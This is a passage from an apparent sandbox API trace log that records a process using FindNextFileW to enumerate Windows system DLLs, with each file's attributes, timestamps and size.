hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0210.123] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, 